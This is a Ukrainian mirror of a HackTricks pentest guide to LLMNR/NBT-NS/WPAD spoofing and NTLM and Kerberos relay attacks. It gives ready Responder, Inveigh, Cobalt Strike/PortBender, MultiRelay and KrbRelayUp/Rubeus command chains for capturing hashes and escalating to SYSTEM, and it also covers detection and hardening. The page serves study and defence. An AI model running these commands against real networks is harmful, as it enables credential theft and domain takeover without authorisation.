mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
230 lines
20 KiB
Markdown
230 lines
20 KiB
Markdown
# Спуфінг LLMNR, NBT-NS, mDNS/DNS та WPAD і атаки реле
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Мережеві протоколи
|
||
|
||
### Протоколи локального розв'язання імен
|
||
|
||
- **LLMNR, NBT-NS та mDNS**:
|
||
- Microsoft та інші операційні системи використовують LLMNR та NBT-NS для локального розв'язання імен, коли DNS не працює. Аналогічно, системи Apple та Linux використовують mDNS.
|
||
- Ці протоколи підлягають перехопленню та спуфінгу через їх неавтентифіковану, трансляційну природу через UDP.
|
||
- [Responder](https://github.com/lgandx/Responder) може бути використаний для імітації сервісів, надсилаючи підроблені відповіді до хостів, які запитують ці протоколи.
|
||
- Додаткову інформацію про імітацію сервісів за допомогою Responder можна знайти [тут](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||
|
||
### Протокол автоматичного виявлення веб-проксі (WPAD)
|
||
|
||
- WPAD дозволяє браузерам автоматично виявляти налаштування проксі.
|
||
- Виявлення здійснюється через DHCP, DNS або повернення до LLMNR та NBT-NS, якщо DNS не працює.
|
||
- Responder може автоматизувати атаки WPAD, направляючи клієнтів до шкідливих WPAD-серверів.
|
||
|
||
### Responder для отруєння протоколів
|
||
|
||
- **Responder** - це інструмент, що використовується для отруєння запитів LLMNR, NBT-NS та mDNS, вибірково відповідаючи на основі типів запитів, переважно націлюючись на SMB-сервіси.
|
||
- Він попередньо встановлений у Kali Linux, налаштовується за адресою `/etc/responder/Responder.conf`.
|
||
- Responder відображає захоплені хеші на екрані та зберігає їх у каталозі `/usr/share/responder/logs`.
|
||
- Він підтримує як IPv4, так і IPv6.
|
||
- Версія Responder для Windows доступна [тут](https://github.com/lgandx/Responder-Windows).
|
||
|
||
#### Запуск Responder
|
||
|
||
- Щоб запустити Responder з налаштуваннями за замовчуванням: `responder -I <Interface>`
|
||
- Для більш агресивного прослуховування (з потенційними побічними ефектами): `responder -I <Interface> -P -r -v`
|
||
- Техніки для захоплення NTLMv1 викликів/відповідей для легшого злому: `responder -I <Interface> --lm --disable-ess`
|
||
- Імітацію WPAD можна активувати за допомогою: `responder -I <Interface> --wpad`
|
||
- Запити NetBIOS можуть бути вирішені на IP-адресу атакуючого, і можна налаштувати проксі для аутентифікації: `responder.py -I <interface> -Pv`
|
||
|
||
### Отруєння DHCP за допомогою Responder
|
||
|
||
- Спуфінг DHCP-відповідей може назавжди отруїти маршрутизаційну інформацію жертви, пропонуючи більш прихований варіант, ніж отруєння ARP.
|
||
- Це вимагає точного знання конфігурації цільової мережі.
|
||
- Запуск атаки: `./Responder.py -I eth0 -Pdv`
|
||
- Цей метод може ефективно захоплювати NTLMv1/2 хеші, але вимагає обережного поводження, щоб уникнути порушення мережі.
|
||
|
||
### Захоплення облікових даних за допомогою Responder
|
||
|
||
- Responder буде імітувати сервіси, використовуючи вищезгадані протоколи, захоплюючи облікові дані (зазвичай NTLMv2 Challenge/Response), коли користувач намагається аутентифікуватися проти спуфінгових сервісів.
|
||
- Можна спробувати знизити до NetNTLMv1 або відключити ESS для легшого злому облікових даних.
|
||
|
||
Важливо зазначити, що використання цих технік повинно здійснюватися законно та етично, забезпечуючи належну авторизацію та уникаючи порушень або несанкціонованого доступу.
|
||
|
||
## Inveigh
|
||
|
||
Inveigh - це інструмент для тестувальників на проникнення та червоних команд, призначений для систем Windows. Він пропонує функціональність, подібну до Responder, виконуючи спуфінг та атаки "людина посередині". Інструмент еволюціонував з PowerShell-скрипта до бінарного файлу C#, з [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) та [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) як основними версіями. Докладні параметри та інструкції можна знайти в [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
||
|
||
Inveigh можна запускати через PowerShell:
|
||
```bash
|
||
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
||
```
|
||
Або виконано як бінарний файл C#:
|
||
```bash
|
||
Inveigh.exe
|
||
```
|
||
### NTLM Relay Attack
|
||
|
||
Ця атака використовує сесії аутентифікації SMB для доступу до цільової машини, надаючи системну оболонку у разі успіху. Основні передумови включають:
|
||
|
||
- Аутентифікований користувач повинен мати доступ до локального адміністратора на переданому хості.
|
||
- Підписування SMB повинно бути вимкнено.
|
||
|
||
#### 445 Port Forwarding and Tunneling
|
||
|
||
У сценаріях, де безпосереднє введення в мережу неможливе, трафік на порту 445 потрібно перенаправити та тунелювати. Інструменти, такі як [**PortBender**](https://github.com/praetorian-inc/PortBender), допомагають перенаправити трафік порту 445 на інший порт, що є необхідним, коли доступ адміністратора локально доступний для завантаження драйверів.
|
||
|
||
PortBender setup and operation in Cobalt Strike:
|
||
```bash
|
||
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
|
||
|
||
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
|
||
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
|
||
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
|
||
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
|
||
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
|
||
|
||
# Termination commands
|
||
beacon> jobs
|
||
beacon> jobkill 0
|
||
beacon> rportfwd stop 8445
|
||
beacon> socks stop
|
||
```
|
||
### Інші інструменти для атаки NTLM Relay
|
||
|
||
- **Metasploit**: Налаштування з проксі, деталями локального та віддаленого хостів.
|
||
- **smbrelayx**: Скрипт на Python для релеювання SMB-сесій та виконання команд або розгортання бекдорів.
|
||
- **MultiRelay**: Інструмент з набору Responder для релеювання конкретних користувачів або всіх користувачів, виконання команд або скидання хешів.
|
||
|
||
Кожен інструмент можна налаштувати для роботи через SOCKS-проксі, якщо це необхідно, що дозволяє проводити атаки навіть з непрямим доступом до мережі.
|
||
|
||
### Операція MultiRelay
|
||
|
||
MultiRelay виконується з директорії _**/usr/share/responder/tools**_, націлюючись на конкретні IP-адреси або користувачів.
|
||
```bash
|
||
python MultiRelay.py -t <IP target> -u ALL # Relay all users
|
||
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
|
||
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
||
|
||
# Proxychains for routing traffic
|
||
```
|
||
Ці інструменти та техніки формують комплексний набір для проведення атак NTLM Relay в різних мережевих середовищах.
|
||
|
||
### Примус NTLM входів
|
||
|
||
В Windows ви **можете примусити деякі привілейовані облікові записи автентифікуватися на довільних машинах**. Прочитайте наступну сторінку, щоб дізнатися як:
|
||
|
||
{{#ref}}
|
||
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
||
{{#endref}}
|
||
|
||
## Атака Kerberos Relay
|
||
|
||
**Атака Kerberos relay** викрадає **AP-REQ квиток** з одного сервісу і повторно використовує його проти другого сервісу, який має **той же ключ комп'ютерного облікового запису** (оскільки обидва SPN знаходяться на одному обліковому записі `$`). Це працює, навіть якщо **класи сервісів SPN різні** (наприклад, `CIFS/` → `LDAP/`), оскільки *ключ*, який розшифровує квиток, є NT хешем машини, а не рядком SPN, і рядок SPN не є частиною підпису.
|
||
|
||
На відміну від NTLM relay, стрибок обмежений *тією ж хостом*, але, якщо ви націлюєтеся на протокол, який дозволяє вам записувати в LDAP, ви можете перейти до **Resource-Based Constrained Delegation (RBCD)** або **AD CS enrollment** і отримати **NT AUTHORITY\SYSTEM** за один раз.
|
||
|
||
Для детальної інформації про цю атаку перевірте:
|
||
|
||
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
|
||
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
|
||
|
||
- 1. **Основи Kerberos**
|
||
|
||
| Токен | Призначення | Відношення до реле |
|
||
|-------|---------|-----------------|
|
||
| **TGT / AS-REQ ↔ REP** | Доказує користувача KDC | неушкоджений |
|
||
| **Квиток сервісу / TGS-REQ ↔ REP** | Прив'язаний до одного **SPN**; зашифрований ключем власника SPN | взаємозамінні, якщо SPN ділять обліковий запис |
|
||
| **AP-REQ** | Клієнт надсилає `TGS` до сервісу | **що ми крадемо та повторно використовуємо** |
|
||
|
||
* Квитки зашифровані з використанням **ключа, отриманого з пароля облікового запису, що володіє SPN**.
|
||
* **Аутентифікатор** всередині AP-REQ має 5-хвилинний часовий штамп; повторне використання в цьому вікні є дійсним, поки кеш сервісу не побачить дублікат.
|
||
* Windows рідко перевіряє, чи рядок SPN у квитку відповідає сервісу, до якого ви звертаєтеся, тому квиток для `CIFS/HOST` зазвичай добре розшифровується на `LDAP/HOST`.
|
||
|
||
- 2. **Що має бути правдою для реле Kerberos**
|
||
|
||
1. **Спільний ключ:** джерело та цільові SPN належать до одного комп'ютерного облікового запису (за замовчуванням на серверах Windows).
|
||
2. **Без захисту каналу:** SMB/LDAP підпис вимкнений, а EPA вимкнено для HTTP/LDAPS.
|
||
3. **Ви можете перехопити або примусити автентифікацію:** отруєння LLMNR/NBNS, спуфінг DNS, **PetitPotam / DFSCoerce RPC**, фальшивий AuthIP, зловмисний DCOM тощо.
|
||
4. **Джерело квитка не використано раніше:** ви виграєте гонку до того, як реальний пакет потрапить, або повністю заблокуєте його; в іншому випадку кеш повторного використання сервера активує Подію 4649.
|
||
5. Вам потрібно якимось чином мати можливість виконати **MitM у комунікації**, можливо, будучи частиною групи DNSAmins, щоб змінити DNS домену або мати можливість змінити файл HOST жертви.
|
||
|
||
### Кроки атаки Kerberos Relay
|
||
|
||
- 3.1 **Розвідка хоста**
|
||
```powershell
|
||
# find servers where HTTP, LDAP or CIFS share the same machine account
|
||
Get-ADComputer -Filter * -Properties servicePrincipalName |
|
||
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
|
||
Select Name,servicePrincipalName
|
||
```
|
||
- 3.2 **Запустіть прослуховувач реле**
|
||
|
||
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
|
||
```powershell
|
||
# one-click local SYSTEM via RBCD
|
||
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
|
||
```
|
||
`KrbRelayUp` обгортає **KrbRelay → LDAP → RBCD → Rubeus → SCM обхід** в одному бінарному файлі.
|
||
|
||
- 3.3 **Примусити аутентифікацію Kerberos**
|
||
```powershell
|
||
# coerce DC to auth over SMB with DFSCoerce
|
||
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
|
||
```
|
||
DFSCoerce змушує DC надіслати нам квиток Kerberos `CIFS/DC01`.
|
||
|
||
- 3.4 **Реле AP-REQ**
|
||
|
||
KrbRelay витягує GSS blob з SMB, переформатовує його в LDAP bind і пересилає на `ldap://DC01` — автентифікація успішна, оскільки **той самий ключ** розшифровує його.
|
||
|
||
- 3.5 **Зловживання LDAP ➜ RBCD ➜ SYSTEM**
|
||
```powershell
|
||
# (auto inside KrbRelayUp) manual for clarity
|
||
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
|
||
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
|
||
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
|
||
SCMUACBypass.exe
|
||
```
|
||
Ви тепер володієте **NT AUTHORITY\SYSTEM**.
|
||
|
||
### **Більше шляхів, які варто знати**
|
||
|
||
| Вектор | Трюк | Чому це важливо |
|
||
|--------|-------|----------------|
|
||
| **AuthIP / IPSec** | Фальшивий сервер надсилає **GSS-ID payload** з будь-яким SPN; клієнт створює AP-REQ прямо до вас | Працює навіть через підмережі; облікові дані машини за замовчуванням |
|
||
| **DCOM / MSRPC** | Зловмисний OXID резолвер змушує клієнта автентифікуватися до довільного SPN і порту | Чисте *локальне* підвищення привілеїв; обходить брандмауер |
|
||
| **AD CS Web Enroll** | Пересилайте квиток машини до `HTTP/CA` і отримайте сертифікат, потім **PKINIT** для створення TGT | Обходить захист підпису LDAP |
|
||
| **Shadow Credentials** | Запишіть `msDS-KeyCredentialLink`, потім PKINIT з підробленою парою ключів | Немає потреби додавати обліковий запис комп'ютера |
|
||
|
||
### **Виправлення помилок**
|
||
|
||
| Помилка | Значення | Виправлення |
|
||
|-------|---------|-----|
|
||
| `KRB_AP_ERR_MODIFIED` | Ключ квитка ≠ ключ цілі | Неправильний хост/SPN |
|
||
| `KRB_AP_ERR_SKEW` | Годинник > 5 хвилин зміщення | Синхронізуйте час або використовуйте `w32tm` |
|
||
| LDAP прив'язка не вдається | Підписання примусове | Використовуйте шлях AD CS або вимкніть підписання |
|
||
| Спам події 4649 | Служба побачила дубльований автентифікатор | заблокувати або змагатися з оригінальним пакетом |
|
||
|
||
### **Виявлення**
|
||
|
||
* Сплеск у **Event 4769** для `CIFS/`, `HTTP/`, `LDAP/` з одного джерела протягом кількох секунд.
|
||
* **Event 4649** на службі вказує на виявлення повтору.
|
||
* Керберосний вхід з **127.0.0.1** (пересилання до локального SCM) є дуже підозрілим—відстежуйте за допомогою правила Sigma в документації KrbRelayUp.
|
||
* Слідкуйте за змінами атрибутів `msDS-AllowedToActOnBehalfOfOtherIdentity` або `msDS-KeyCredentialLink`.
|
||
|
||
## **Ускладнення**
|
||
|
||
1. **Примусьте підписання LDAP та SMB + EPA** на кожному сервері.
|
||
2. **Розділіть SPN** так, щоб HTTP не був на тому ж обліковому записі, що й CIFS/LDAP.
|
||
3. Виправте вектори примусу (PetitPotam KB5005413, DFS, AuthIP).
|
||
4. Встановіть **`ms-DS-MachineAccountQuota = 0`** для зупинки несанкціонованих приєднань комп'ютерів.
|
||
5. Сповіщайте про **Event 4649** та несподівані локальні входи Kerberos.
|
||
|
||
## Посилання
|
||
|
||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
|
||
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
|
||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|